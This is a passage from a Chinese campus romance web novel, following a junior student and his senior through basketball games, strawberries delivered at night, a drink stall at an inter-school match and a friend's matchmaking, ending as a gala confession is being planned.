什么识趣什么变通,白仲钺没用一句“不喜欢”判他死刑,他怎么就不能再试一试争一争?
首先,要有相处的时间。
同校网恋不可取。
柏安借口学习任务重,和家教那边商量减掉了周天的兼职。
两个星期了,柏安躺在床上抱着手机想约白仲钺的理由。
要不然就自习,这样也不会耽误白仲钺。自习后可以一起吃饭,吃完饭可以在学校走走,然后继续自习,之后可以再一起吃晚饭,吃完晚饭可以在学校走走……
柏安长长叹了口气,好一个既没意思又没创意的想法啊……
总之要先约人。
【学长,你明天有时间吗?】
白仲钺难得秒回消息,【明天约了打球】
白仲钺:【怎么了】
柏安翻了个身趴在床上:【是和一起吃饭的几位学长一起吗】
白仲钺:【对】
柏安;【在操场吗?我可不可以去看】
白仲钺:【在室内篮球场,你明天不用家教?】
柏安:【嗯嗯,以后周日都不用家教了,我能去看学长打球吗】
白仲钺:【你有时间就好,上午九点半开始】
第二天柏安去篮球场前特意买了饮料,上次吃饭的人里有两个不是篮球队的,不知道今天在不在,柏安索性多买了几瓶,装了一大袋,估计有十几斤。
“小学弟!”
柏安应声看过去,张皓程和祝骁已经在了。
“张学长好,祝学长好。”
张皓程“噗呲”一声笑:“别次次都这么一本正经,上次第一次见问个好就算了,现在再这么招呼可生分了啊。”
“就是,”祝骁说,“大二那批打球的学弟跟我们都直接喊名字,有什么的,又没差多少岁。”
柏安乖乖点头:“好的。”
“你还真买饮料了啊,我看看……”祝骁拨开袋口才发现不少,“这么一堆,拎着多沉,先放那边去,这瓶给我单独留着啊,我爱喝这个,打完球找你拿。”
韩一去登记回来,和柏安打了招呼,没多久祁延白仲钺和另外两个队里的人也都到了。
白仲钺说今天不算是比赛,只是和大二的篮球队约了打着玩的。
A大的室内篮球场不如室外篮球场面积大,看台座位也少一些,好在今天比起第一次看白仲钺打球的时候人少了大半,还有空位置。
球场上十几个人来回跑动,但柏安的视线怎么都不会跟丢白仲钺。他不需要时刻紧盯着人,想看白仲钺的时候,一眼就能捕捉到。
白仲钺走过来了。
“买这么多,他们说着玩的,以后不用买,太重。”
“没事的,”柏安把袋口敞开,“学长你想喝哪种?”
白仲钺随手拿了袋子外的一瓶,刚抬起没十厘米就被柏安拽住了。两个人一人拿饮料的一边,像拉锯战。
“怎么,这瓶不让喝?给自己留的?”
“不是……”柏安心里简直要咆哮升天,为什么要让自己因为一瓶饮料面临这么尴尬的境地啊!
“这个,是祝骁学长那会儿定下说要的,我不知道你们喜欢什么,这个只买了一瓶……那个,下次我多买点这种。”
“嗯,”白仲钺很好说话地松开手,“那给他留着吧。”
明明没表现出什么,但柏安就是感觉出白仲钺的情绪没有像刚刚那样高扬着了。
他好像总能感觉到白仲钺身上各种细微的变化,哪怕无从验证考究。
“学长你累了吧,坐,”柏安把手里的饮料放在一边,从袋子里翻出一瓶橙汁,“学长你要不要喝这个呀?很好喝的,有果粒。”
白仲钺被柏安哄小孩似的架势弄得笑出来:“好,谢谢学弟,学弟辛苦了。”
柏安感觉白仲钺多云转晴没事了,美滋滋把橙汁递过去:“不客气,不辛苦,为学长服务。”
“哎柏安,我饮料还在吗?”祝骁边擦汗边往这边走,“专门给我留着呢!太棒了!可太贴心了啊小学弟。”
柏安凝噎。
为什么又要提饮料啊——!!!
中午大家一起去了食堂,下午白仲钺和柏安一起去自习,但没多长时间就接到老师电话说要填个表格,先走了。
于是,柏安也没能和白仲钺单独吃晚饭。
尝试约会第一天,成绩——D。
-
白仲钺宿舍楼通向楼顶的门锁坏了,大概没什么人来,宿管一直没发现。
“你最好有关乎人类命运的大事,”祁延把自己裹成了球,把一袋吃的喝的放在旁边,在唯一的一层台阶上坐下,“您老真有闲情逸致,大冬天的晚上跑楼顶吹西北风。”
都十二月了,晚上确实冷,好在没风。
“我好像喜欢人了。”
祁延也不在意这话说得像以前喜欢妖
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魔鬼怪,说:“柏安啊?”
“很明显?”
“又出力又出钱的,我又不瞎。”
“嗯?”
祁延捶了白仲钺一拳:“再给我装,有个鬼的赔偿金,真有赔偿金我能不知道?而且你接触的人我基本也都接触,除了他就没别人了。”
白仲钺笑笑,灌了两口啤酒。
“嘶,”祁延也开了一罐,“幸好我要的是超市热过的,不然你这会儿从里到外都凉透了。”
“味道变了。”
“那您现在跑超市去买几罐冰镇的,我等你。”
白仲钺笑笑,又喝了几口,没说话。
“不是,你有喜欢的人了又不是失恋,弄得跟借酒消愁似的是怎么回事?再说柏安一看就对你有意思,你开个口招个手他就过来的事,深沉什么呢?”
“你觉得他喜欢我?”
“这不是很明显的事吗,大家凑一起的时候他就跟条长在你身上的尾巴似的。要我说,你就是被喜欢的太多,习惯了,反应迟钝才感觉不出来。”
白仲钺食指曲起在啤酒罐外壁点了两下:“他应该不喜欢男生。”
祁延一扭头:“啊?”
白仲钺也扭头看他:“不喜欢男生不是很正常吗,你这么惊讶干什么?”
“上次一块吃饭,韩一跟张皓程在卫生间说到你俩,我正巧在。总之就是说,一眼就看出来柏安喜欢你。不是有个说法,说同性恋能在人群里一眼看出来谁也是同性恋来着,而且他们说完我就多关注了关注你俩,柏安对你确实是不一样,明摆着就是对你有意思啊。”
“可能你觉得的不一样是因为所有人里他只和我熟悉,慢慢和大家都熟了,我也没什么特殊的。”
祁延听着这话酸不溜的,说不清哪里怪:“那你怎么就知道他不喜欢男生?”
“之前一起吃饭回来,我问他前任是不是男生,他说不是。上周,在路上遇见,有个女生和他打招呼,叫他‘cp’。”
“cp?”
“嗯。”
祁延过了会儿才继续说话:“反正我感觉他对你不一样,喜不喜欢男生不确定,但是c不cp的他这会儿单着你喜欢就追呗,追不到再说。就算以前喜欢女生也不代表以后不能喜欢男生啊,还有研究说大部分人本质都是双性恋呢,你不追怎么知道他不能喜欢你。”
白仲钺摇摇头,没说话。
“不是,墨迹什么呢,不是你风格啊,向来不都是想干就干还得干出名堂来才行的么?”
“他如果喜欢女生,我就不追。”
“你也太看不起自己了,正视一下自己的魅力好吗白大爷?”
“不是因为这个,”白仲钺慢慢转动手里的易拉罐,话也说得有点慢,“我们觉得同性恋异性恋都一样无所谓,可大环境摆在那里,同性恋就是不容易被接受,在家庭社会上都更难,甚至,可能比我们想象的最难还要难。如果柏安喜欢女生,我去追他,假设真的追到了,他因为我变成同性恋,那就相当于我把他人生的正常模式强行加到了困难模式。”
白仲钺把空掉的易拉罐扔回袋子:“那对他不公平。”
“那你呢?”
“嗯?”
“你就愿意走困难模式?”
“应该说,是乐意,”白仲钺笑了笑,无所谓的样子,“有什么的。”
17.红郎
“柏安——”
柏安停下步子转身:“祁学长?”
郝昕看见有人走过来,就和柏安说自己先走了。
“约会呢?”
柏安立刻摇头:“不是,就是同学。”
“哦——”祁延拖长了调子,“你传说中的cp?”
“嗯……啊?祁学长怎么知道的?”
“我厉害呗。”
柏安认真解释:“是因为她的名字叫郝昕,和我名字凑在一起很好玩,同学就开玩笑说是‘没安好心’cp,只是叫着玩的,没有别的意思。”
祁延心想和我解释这么多干什么你去和白仲钺说啊。
然后他又想起来白仲钺那个闷嘴葫芦根本问都没问过。
“这样啊,”祁延一副过来人关爱学弟的样子,话里一股子语重心长的味道,“好不容易到大学了,不想谈个恋爱?”
柏安小声说:“想的。”
“正常,正常,”祁延再接再厉,“有喜欢的人了记得找学长们给你把把关,谈恋爱也不能随便就谈了,是吧,有目标了吗?”
柏安喜欢白仲钺的心思根本没处发泄,掩着藏着这么久也想有个人说。只要不表明,也没事的吧……
“嗯,有。”
啧。
难办了。
祁延在心里给白仲钺鞠了一把辛酸泪。
柏安和祁延一起走了会儿,没忍住问:“祁学长,你一个人吗?”
“对,女朋友找好朋友把男朋友放鸽子了。哦,你想问老白吧,他回家了,今天下午就能回来。”
“周末回家,是有什么急事吗?”
祁延立刻开始给白仲钺说话:“他家就在本市,平时一个月回家一次,上个月因为你腿受伤才没回去。”
柏安心里像被什么软绵绵的东西戳了一下。
他有时候觉得,白仲钺对待自己和对待别人不一样,自己或许在白仲钺那里有不一样的分量。有时候又觉得,自己不该因为私心就把白仲钺的好往偏的方向去想。
“你不知道他回家啊?”
“嗯,”柏安点点头,“最近学长好像很忙,没太有时间闲聊天。”
“他前段时间确实忙,老师抓他当壮丁,各种数据论文报告砸在一起赶,有时候回宿舍都关楼门了还得我跑下楼去赎他。不过大前天老师就放人了,不然他也没时间回家。”
“学长好辛苦啊,”柏安看着路上的菱形砖面,说,“也好厉害啊。”
“还行吧,我还以为你该常给他发消息关心关心,毕竟他还挺喜欢和你聊天的。”
柏安一下抬起头:“是吗?我以为会打扰到。”
“打扰什么啊,他忙完看看手机,看见自己……看见你给发的消息,那心情也好,心情一好不就不累了。”
柏安眼睛亮亮地看着祁延:“是学长说的吗?”
“啊……”祁延说,“是啊,你学长说的。”
自己也是柏安的学长,不算欺骗小学弟感情。
祁延看着柏安又弯又亮的眼睛和挡不住的开心竭力压制自己的负罪感,红娘真特喵的不好当。
严谨点,他应该算红郎?
“祁学长,我能问你件事吗?”
“咳,问,绝对知无不言言无不尽。”
“学长,”柏安停顿半秒,把称呼改得更明确一点,“白仲钺学长,有喜欢的人吗?”
祁延这边还想着怎么把话题扯回两个人的感情上呢,柏安就自己一脑袋撞过来了:“问这个干什么?”
柏安努力让自己装得不在意:“就是有点好奇,其实应该很多人都很好奇的。”
“理解,正常,”祁延一边点头一边说,“不过这涉及到白仲钺的隐私,我也不好说。”
没有喜欢的人没什么好隐私的,既然是隐私那就说明……有喜欢的人了?!
“他……”
祁延自顾自地继续:“性向这种事没经过本人同意毕竟不适合宣扬。”
柏安还没在刚刚的失落感里站稳就一下又被拽到了浪尖:“性、向?学长喜欢男生?”
“哎!我可没说啊!”祁延赶紧给自己撇清,“你别乱说,万一白仲钺和我绝交我就找你算账。”
柏安自觉抬手把自己的嘴巴捂上,可惜露着的半张脸上有双晶亮的眼睛,简直要把自己彻头彻尾卖了。
“小学弟,你这是什么反应啊?”
“没有,没有,”柏安的嘴角怎么压都压不住,只好继续挡着半边脸,“只是没想到,有点惊讶,没什么。”
祁延打量着柏安泛上红的脸和耳朵:“我怎么觉得,你这样子不像惊讶,像惊喜呢?”
柏安立刻摇头:“没有的,没有。”
祁延也没打算刨根究底,喜欢不喜欢这种事还是留着和当事人面对面说有意思,自己先给把窗户纸捅破了算怎么回事。
“我还有事,往这边走了,你忙你的去吧。”
“好的!”柏安朝祁延摆手,“祁学长再见!”
“嗯,再见。”
祁延神清气爽地换了个方向走,没十分钟就明确了某人的终身大事,红郎本郎很满意。
白仲钺之前在宿舍楼顶上说的那些话确实有道理,但那是建立在柏安不喜欢男生的基础上。再说,白仲钺只说在不确定柏安喜欢男生女生的情况下不能追人,可没说不能暴露他自己喜欢男生的事吧?
“不经意”让柏安知道白仲钺喜欢男生看看他反应不就什么都知道了。
多简单的事,也值当得让白仲钺那智商都散没了?
啧,果然恋爱使人变傻。
啊,祁延本人除外。
果然是双商双担小天才。
竖起大拇指。
就很优秀。
优秀!
-
白仲钺下午回来的时候提了整整一箱草莓,分装成了二十盒。
“我刚刚在群里发消息了,他们一会儿过来拿,给我留两盒出来,别的你们分。”
祁延听见他回来裤扣都没系就从卫生间跑出来:“我有事和你说,哎你刚回来着急什么啊?”
“老师那边有事,我
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过去一趟,回来说。”
“哎——”
“别哎了,”姜宗川指指白仲钺的桌子,“草莓,老白让给留出两盒来。他在群里发消息了,估计一会儿他们过来拿,你先帮他收起来两盒吧。”
祁延边扣裤子边骂骂咧咧:“收个鬼,让他跟那老师过日子去吧,没读研就这么上紧,要什么对象,打一辈子光棍吧!”
“什么情况?”姜宗川拿出两盒草莓放到白仲钺柜子隔层上,“老白要喜迎新春了?”
“皇帝不急急死太监,他就适合自个儿过冬!”
祁延话音刚落下宿舍门就被“呼”地卷开了:“草莓呐?”
姜宗川正在白仲钺桌旁站着,指了指手边:“这儿,你先给我们换个新门再说草莓的事吧。”
祝骁直接拆开一盒坐下吃:“要是宿管同意,我给你们换个不锈钢的。”
“大哥,”后边进来的韩一被祝骁猴急的样子弄得不知道说什么好,“你好歹洗一下再吃。”
“又没打药,不是说是有机还是无机的来着,反正纯天然无污染。”
“从采摘到现在都经过多少人的手了,就算人人都戴手套,灰尘总有吧?”
祝骁毫不在意地又往嘴里塞了一个:“不干不净,吃了没病。”
韩一没话说了:“看好你。”
白仲钺:【你刚刚要说什么事】
祁延开始卖关子:【一个好消息一个坏消息,先听哪个】
白仲钺:【赶紧的】
祁延:【你小学弟的事】
“没塑料袋了,”祁延不紧不慢回完消息翻了翻抽屉,“你们直接端回去吧,反正有盒子。”
白仲钺:【柏安怎么了?】
祁延没搭理他。
白仲钺:【坏的】
照旧是群里一人一盒,宿舍有其他人的就多拿一盒给舍友分。祝骁一口气把自己那盒吃去一半,然后数了六盒摞在一起:“开个门,一个个都懒死了,还得我送。”
韩一给他把门开大,问祁延:“柏安不在咱们楼吧,刚刚群里没看他说话,给他送过去?”
祁延:【你小学弟有喜欢的人了】
“对啊,”祝骁都到门外了又退回来,“让学弟感受一下什么是真正好吃的草莓,我口味都被老白隔三岔五养刁了,前两天在外边买了一次,和这个比简直不能叫草莓。”
白仲钺:【 】
白仲钺:【你怎么知道的】
白仲钺:【?】
白仲钺:【好的是什么】
白仲钺:【说话】
白仲钺:【手办你挑】
“你走吧,赶紧,看路,再好吃的草莓也不经摔,”祁延笑得跟朵花似的冲祝骁说完又对韩一说,“柏安的不用管了,晚点老白送。”
“他送?”
“啊,”祁延埋头打字,免得某些人要炸,“怎么了?”
韩一摇摇头:“没怎么,有种不太好的预感。”
到底怎么回事,就不能让他赌赢一次?
【喜欢的人九成九是你】
18.晚安
“啧,失策。”
祁延摇头反省,人果然不能飘。
自己打算告诉白仲钺的好消息明明是“柏安的cp是假的”,白仲钺肯定要问柏安喜欢谁,然后自己就能当会儿大爷,好好欣赏欣赏白仲钺抓耳挠腮着急上火的样子,再多捞点好处,最后勉勉强强告诉他柏安喜欢的人是他,在白仲钺三跪九叩真诚拜谢里挥挥手让白仲钺退下。
完美。
可惜了。
白仲钺这一条接一条消息,实在难得见,祁延一飘忽,居然中期就把终极大招给扔出去了。
可惜了啊——
祁延翻半天翻出来一个好看的手提袋,放进两盒草莓后空出一小截,也算不大不小,挺合适。
白仲钺是在家吃过下午饭回来的,原本时间就不早,又一耽搁再回宿舍天已经黑透了。
桌上就一盒草莓,白仲钺问:“只留了一盒?”
“那是给你留的,”祁延指指一边的纸袋,“这两盒装好了,去吧,贵族爱心草莓,表白的不二之选。”
白仲钺没着急走,先给手机充上电。
“不送草莓了啊?”
“没回消息,估计还在自习,等会儿吧。”
赵煜和姜宗川被拉走打牌了,别的宿舍来找人的时候祁延正和校花视频,没去,这会儿宿舍里就剩了他们两个。
白仲钺指腹点在桌面:“你去找柏安了?”
祁延一条腿伸长搁在白仲钺椅子上:“去了啊,你又不追,我不去得等到什么时候,你这铁树万年一开花,万一让别人捷足先登了上哪儿哭去。”
“他怎么说的?”
祁延装傻:“什么怎么说的?”
“他说喜欢我了?”
“没。”
“那你……”
祁延也懒地挤牙膏溜他玩了,一股脑倒出来:“人那cp是闹着玩的,我不小心暴露了一下你喜欢男生的事,嗬,柏安那反应,就差把‘太好了太好了白仲钺喜欢男生太好了’标红加粗贴脸上了,傻子都看得出来好吗。”
白仲钺没接话,看样子像有点怀疑祁延下的定论。
祁延觉得自己的双商受到了侮辱:“真不是我说你,在这方面你就是反应迟钝,我之前觉得柏安对你有意思但是拿不准,那是我统共就没见他几次,今天他这反应,我告诉你,板上钉钉的事,他不喜欢你我把相中的那手办吃了。你之前整天整天地和他待在一起,就感觉不出来?”
“那时候没发现自己喜欢他,没多注意。”
祁延服气得很:“那敢问您老人家,是什么事让你开窍了?”
“不知道,”白仲钺在这种事上没经验,有人帮忙当然更好,祁延问什么他就认真答什么,“好像也不是因为哪一件事,觉得不对的时候就已经这样了。”
“行吧,”祁延点点头,“万幸你没等人家有对象了才发现,还有救。”
白仲钺不知道在想什么,倚坐在桌边好半天没说话。
祁延玩了会儿手机忽然问白仲钺:“你对我有什么感觉吗?”
白仲钺乐了:“你对我有什么感觉吗?”
“你喜欢男生我又不喜欢!”
“我喜欢的人是男生,又不是是个男生就喜欢。”
“啧,”祁延叹口气,“还想好奇一下同性恋的内心世界呢,韩一他俩我又不好意思细问。”
“我现在看你和之前看你没区别,穿着光着都一样。”
“行了啊,再说感情到头了,”祁延话音一转,说,“也说不定你不是喜欢男生,跟那句什么话说的,挺文青的,啊,‘我不是同性恋,只是喜欢的人恰巧是同性’,就这句。”
“你这些东西都是从哪儿看的?”白仲钺觉得最近老从祁延那儿听见各种理论,“我喜欢柏安,柏安是男生,那我就是同性恋,没必要细究字眼。”
“也是,”祁延把腿从白仲钺椅子上收回来,“那你这是怎么着,知道柏安喜欢你了,追不追?”
柏安还没回消息,白仲钺看看聊天界面又把手机关了:“不追我傻啊?”
“你这会儿不怕把他人生调成困难模式了?”
“两个人都乐意的事算什么困难模式,”白仲钺笑得有点欠,张扬得很,“那叫不一样的人生。”
“嘁,飘得你。不过追不追的我也就这么一说,柏安那样儿的,都不知道眼巴巴喜欢你多长时间了,还用你追,勾勾手指头就过来了。等会儿送草莓,你就问一句,‘愿意做我男朋友吗’,保证你立刻拥有一个乖巧可爱的男朋友。”
白仲钺摇摇头:“不能这样。”
“你急死我吧大哥,真的,你是我亲哥,不知道人家喜不喜欢你的时候说不能追不能这样,现在知道了还不追不能这样,你想哪样?”
“没说不追,”白仲钺说,“就是觉得不能这样,太草率了。”
“那您老拉个横幅?”
“你歇着吧。”
祁延往椅背上一仰,不搭理他了。
“不过,”祁延扭头看他,“你可别欺负人家啊,这小学弟看着也太好骗了,又乖又没心眼的,妥妥一朵小白花啊。”
白仲钺笑了一声:“你管真多。”
“合着你是想欺负人家啊?想怎么欺负,说给我听听。”
“去你的,”白仲钺在手机上给柏安回了消息,然后拿起桌上单放的草莓放进手提纸袋,刚好满满当当,“他上完自习了,我给他送过去。”
“那盒单独的是给你留的。”
“我不用留。”
“哎,”祁延喊他,“送两盒就行了,好事成双,你弄这么满干什么,这么重要的时候要好意头,三盒多难听。”
白仲钺没往外拿,提着就走:“我就送个草莓,要什么好意头。”
“宁可信其有不知道啊!”
“走了。”
柏安:【学长你可以晚点再下楼,我刚出教室,还要一会儿,到楼下给你发消息】
白仲钺:【不着急】
回完消息白仲钺换了右手拿草莓,看着纸盒里满满的草莓忽然有点不舒服了。
三盒,好像是不如两盒好听?
“老白你给谁送草莓啊!”
白仲钺扭头一看
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,是祝骁:“柏安。”
“替我告诫小学弟,护好自己那份,我抱回去就被抢没了,还好在你宿舍解决了半盒,不然一个都吃不着。”
“正好,”白仲钺把最上面一盒拿出来,“这盒给你。”
“不是给柏安的吗?”
“多了。”
祝骁端着草莓冲着白仲钺背影愣了会儿,自己这是有特殊待遇了?
可以啊!
祝骁怕回去又被抢直接站在原地开始解决。
好吃,好兄弟!
-
“着急什么。”
柏安一路快跑回来的,喘息一声一声往人耳朵里扑:“怕……学长等久了……”
“嗯,”白仲钺清清嗓子,“不急说话,歇一会儿。”
柏安之前晚上路过女生宿舍楼边的时候,看见过楼下一对一对的情侣,男生送女朋友回宿舍,到楼下不舍得分开,所以就在路灯下树影里多站一会儿多聊一会儿。
匆匆走过的时候,柏安偶尔觉得不能理解。白天那么多时间,何必多磨蹭这五分钟十分钟,又不是在车站机场。
可现在,哪怕他和白仲钺之间离那样的关系还差得远,他已经忍不住想要把时间再拖长一点。
五分钟十分钟都好。
时间总在自顾流转,在某种意义上,分或秒、月或年没有什么不同,上一刻和下一刻都是一样。
但人们定义时间。
于是,这些因为特殊的人而变得特殊的时间就成为了可以记录的节点。
某年某月,某日某晚,白仲钺拿着一袋草莓站在柏安面前,眉眼在落下的夜幕和亮起的灯光里,显得格外温柔好看。
“想什么呢?”
柏安回神:“啊?”
“歇过来了?”
“嗯,”柏安看白仲钺要微仰着头,“不累的。”
“我姑姑种的草莓,你尝尝看,喜欢的话下次再给你带。”
柏安低头接过来,视线在提着纸袋的那只手上放肆流连描摹。
“谢谢学长。”
夜晚真好,它把边角妥帖掩藏,让怀揣悸动心思的人不必担心无措,只消享受当下这一刻。
“最近怎么样?学期末了,兼职累的话就放一放。”
“没事的,快期末了才更要好好教,让小孩考个好成绩,总要让家长看见进步才行。我现在只有一三五六去兼职,不会耽误复习的。”
“嗯,天冷,上去吧,晚上早点睡。”
“好的,学长也是。”
白仲钺笑了笑:“不用总叫学长,叫名字就行。”
柏安愣了一下。
他其实暗里喊过“白仲钺”这个名字不知道多少次,也数不清写过多少遍了,但白仲钺告诉他可以叫名字,他又一下叫不出口。
“……叫习惯了,不太好改。”
“不习惯就不改了,都一样,回宿舍吧,”白仲钺在他肩后轻轻推了一下,说,“提前晚安。”
柏安手指在纸袋边角来回刮蹭:“嗯,提前……”
“……晚安,白仲钺。”
19.喜欢
A大和另外两所学校因为距离近,每学期都有各种各样的联谊,也有人戏称“撞缘会”。
三个学校的校篮队平均每学期有两场声势较大的联合赛,这是本学期的第二场。
比赛基本定在周日,具体时间提前三周左右确定,场地三个学校轮流,这学期在A大。
“好好打一场放松,然后各自收心复习。”
柏安认真听白仲钺科普完,问:“那人是不是会很多?”
“嗯,上次在操场,你也在,”白仲钺笑了笑,又想起当时的情景,“那次你一直在还是后来过去的?”
“后来才去的,刚好路过,大概就看了十分钟。”
“那这次人会比你那天看见的多一些,那天到后来C大临时发通知,所以C大的学生回去了大部分。”
“还要多啊?”上次柏安没仔细看多少人,但感觉怎么都有大几百了,“篮球场座位不一定够坐吧?”
“没事,”白仲钺回他,“其实很多人不喜欢坐着看比赛,以前还有过座位富余结果没座位的地方扎堆站人的情况。”
“学长,你说明天比赛的时候我去篮球场卖饮料和水可行吗?”
柏安问完才觉得有点没底,他是答应要去看比赛的,卖饮料好像就变了性质。只是上次去篮球场看白仲钺打球,发现那儿没有卖水和饮料的地方,都是看球的人提前买好或者中途去买,柏安有注意到,提前准备的水大都不够,打球的人下场第一件事基本是约着去超市买喝的。
刚刚和白仲钺聊到人多,柏安忽然想到这个,就问了。
好像是不太好,而且,白仲钺会不会觉得自己太钻营赚钱的事了?
队里的人都知道自己和白仲钺关系更好,如果自己去卖饮料大家都会联想到白仲钺吧,万一白仲钺觉得丢脸怎么办?
“我就是随口……”
“行啊。”
准备否决自己的话还没说完,白仲钺就已经干脆认可了他的想法:“联赛的时候学校的超市会有一两家去摆小摊卖喝的,不过看比赛的人多,还有空间。门卫那里有拉货的小拉车,可以从西门外边的批发超市买了拉进来。”
柏安眼睛一下亮起来:“啊,那家批发超市我之前和同学去过,里边的东西价格是按照买的数量递减的。”
“嗯,到时候还可以卖得比平时售价贵一点,超市在那里摆的小摊都比平时贵,每瓶贵五角一元不等,你可以折一个中间数,或者选一种在成本之上便宜卖,其它贵一点。”
“好的!”柏安露出两颗小尖牙,“谢谢学长。”
白仲钺心情颇好地弯起唇角:“一会儿有事吗?”
柏安今天做完家教回来,和白仲钺一起吃了下午饭,晚上也不打算去自习了:“没事,怎么了?”
白仲钺说:“要不要先去那家超市看看?选好进什么,和门卫定好拉车,明早直接去拿。”
“好啊!”
第二天早上白仲钺和柏安一起把饮料矿泉水拉到篮球场,还用A4纸给柏安打印了一张巨大的收款码。
“凑合用吧,”白仲钺带了透明胶带,准备把中间二维码的部分粘住防止不小心破损,“等以后你当小老板了给你做个正经的立牌。”
“这个就很好啊,能用就好,”柏安蹲在旁边咬断胶带递给白仲钺,“而且是独一份的,别人的都是大众款。”
白仲钺把贴好胶带的收款码粘到一提饮料边上:“行了,完成,定制款。”
两个人来得早,但没聊多久就陆续有人来,白仲钺和柏安招呼一声先走了,要去热身。
柏安把旁边的东西摆正,给每一种饮料上贴了手写的价格,忽然开始担心卖不完怎么办。余下少的话没关系,万一余下太多就不好解决了。
他原本想水和饮料一共进一百瓶,再进点小零食,在白仲钺的建议下没要零食,但喝的进了两百。柏安掰着手指算了算如果一共有三个摊位,有三百个人买的话自己大概能卖掉多少,算来算去索性不管了。拉都拉来了,卖多少算多少,比赛完再说。
上场之前三个队互相对拳头打招呼,白仲钺和其他两个学校队长碰的时候朝柏安那边指了指:“我有个学弟在这儿卖喝的,帮忙和队里招呼一声。”
柏安的位置不算好,白仲钺说其他超市来摆摊的时候有固定的地方,虽然整个篮球场都是公共区域,可有些“规矩”是默认的。
还有一句白仲钺没说,他担心柏安有麻烦时自己不在旁边。
地理位置不佳,柏安和另外两个摊位隔得很远,而且自己这边也没有显眼的标志,所以过去好一会儿,只有周围的人买了几瓶。
没想到第一场打完,场上的人都冲着柏安来了。
“我要两瓶。”
“白仲钺学弟嘛。”
“一共是十三吧,我自己算钱了。”
“小学弟大几啊?”
柏安大概知道他们为什么都过来了,不过没太多时间想别的,因为从场上一起过来的阵仗太显眼,很多看台上的人也过来了。
一波接一波不断有人过来,柏安忙得晕头转向,一上午还没过完竟然就卖光了。
中午白仲钺和柏安去送拉车,问他:“柏老板,成果怎么样?”
“还没算,不过至少赚了一百多,我请你吃饭呀学长。”
“好,”白仲钺利落答应,“要再进点吗?下午还有比赛。”
“不了,上午都没能看你打球,下午想好好看。而且赚这些已经不少了。”
两个人去门卫还了拉车,一起往食堂走:“我晚点要去办公楼送东西,你吃了饭回宿舍歇会儿,下午不用提前去。”
柏安点点头,手伸进口袋忽然摸到两个被忘掉的话梅。
“学长,吃话梅吗?”
白仲钺从柏安手心里拿了一颗,拆开送进嘴里:“你喜欢吃话梅?”
“喜欢,酸酸甜甜也不会腻。”
白仲钺把话梅卷到不影响说话的口腔边上:“还有什么喜欢吃的吗?”
“啊?”
“顺口一问。”
柏安停下要撕包装的动作:“我喜欢吃的东西挺多的,数不过来。”
真好养。
白仲钺笑笑:“想起来了,你不挑食。”
“嗯......就只是不吃鱼,也算是不挑食吧。”
“好,记住了。”
柏安的心跳忽然就空了一拍。
继而难以自控地剧烈鼓动起来。
白仲钺......是什么意思?
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>是他的理解能力出问题了吗?
没有吧......
所以,为什么要这么认真地说记住了?
白仲钺......是在......撩......他......吗?
“我帮你撕?”
“嗯?啊,”柏安把手里的话梅小包装撕开,“不用不用。”
白仲钺刚收回目光把装了核的包装袋扔进路边垃圾桶,一颗开过包装口的话梅就进了视线里。
“学长你看,这个里边竟然有两颗!赚到!”
“真是两颗,”白仲钺拿过去,“不过这种零食是按重量售卖的吧。”
柏安皱皱鼻子,有点幽怨地抬眼:“学长,你好煞风景啊。”
白仲钺看他。
“而且,我口袋里就这两个了。”
柏安拿出来两个,白仲钺吃了一个,现在拆开的第二个,里边的两颗一颗进到了白仲钺嘴里,第二颗刚刚被咬住。
白仲钺齿间咬着那颗话梅,没往里送,就那么咬着,看向柏安,挑了挑眉。
柏安耳梢轰然生了热。
白仲钺!
在干什么?!
就是在故意撩他吧!
“你吃吧……”柏安匆匆低头,加快了步子,“我宿舍还有。”
白仲钺一笑,把话梅吃进去,两手放在口袋不紧不慢地跟上了。
到了食堂柏安的心速才恢复正常,怕一会儿人多,柏安先用白仲钺的书包占了座。
平时总看着白仲钺书包轻轻松松地挂在肩上,没重量似的,今天一提才发现颇有分量,还发现了白仲钺穿厚衣服单肩背包也不会往下滑的原因——书包背带底面有防滑层。
“学长,你为什么总单肩背书包啊?这么沉会容易高低肩的。”
白仲钺往后退一步,让柏安排在自己前边:“帅啊。”
柏安很不赞同:“双肩背也帅啊,高低肩才会丑。”
每次柏安很认真地对白仲钺说什么,白仲钺就会忍不住想笑,想用力揉两把他的头顶,最好再捏一下脸。
“学弟,”白仲钺话里掺着笑音,“你好煞风景啊。”
柏安眼睛睁得更大了,嘴唇弧度略微上鼓:“学长,你好记仇啊。”
“那会儿煞风景这会儿记仇,我形象越来越差劲了,是不是学弟?”
“没有,”柏安立刻解释,“我随口说的,但是单肩背那么重的包真的不好,万一变成高低肩怎么办呀?”
说完柏安又认真说了一次:“刚刚那样说是闹着玩的,没有觉得学长不好,你不喜欢的话我就不开这种玩笑了。”
“书包里是一会儿要送的资料和可能用到的书,再加上水就沉了,平时没这么重。而且你看我现在高低肩吗?”
柏安认真左右对比:“还没有。”
“那以后也不会,我一直这样背,平时会左右换肩膀,不总用一边。最开始不双肩背是因为觉得肩带收短感觉勒,肩带放长走路不舒服,后来就习惯了,”白仲钺到底没忍住在柏安头上摸了下,“没事,放心吧。”
柏安心里“嘭”一下炸了朵烟花。
末尾的烟还没散,白仲钺又说:“还有,没不喜欢。”
“喜欢。”
轰——
20.表白
自从确定柏安喜欢白仲钺之后,祁延看着白仲钺不急不躁的样子恨不能一天催八遍,但白仲钺根本不为所动。
慢慢的祁延也不管了,儿孙自有儿孙福,当爸爸的不能老这么操心儿子的婚姻大事,折寿。
不过祁延打定主意不管,白仲钺自己反而找上来了。
要祁延帮忙,还拉了韩一和张皓程。
祁延纡尊降贵地表示自己勉勉强强看在深厚的父子情上帮帮忙,韩一盯着白仲钺看了半天,自言自语了句什么,在张皓程异常的兴奋活跃里说肯定帮。
A大在元旦前会有一次校级联欢会,领导老师和各学院各级各班学生代表参加,学校里的大屏幕实时投屏转播。
校级联欢会后各院系各自开办自己的晚会,时间节目提前公开,学生除参加自己院系的活动外也可以根据自己的喜好到别的学院晚会上凑热闹。
柏安加入的社团里有几个关系好的同学,其中有个同院的人在晚会上报了自弹自唱的《成都》,接连几天都拉着柏安当自己的观众练习。这首歌调子不难,柏安原来只能大概哼几句,被持续强力洗脑之后从头唱到尾根本半点不费劲。
原本说好了只是当观众,没想到临近晚会两天,柏安同学的嗓子哑了。
去吃了家新开的川菜馆,第二天早上醒过来根本说不出话,只能应个声,去校医院拿了药灌了一天水,结果又感冒了,下午找柏安的时候也就勉强能说话而已。
嗓子比传说里的公鸭嗓还要命,说一句每半句就要劈一次叉,最可怕的是随时咳嗽并且一咳起来就不停,根本没法上台。
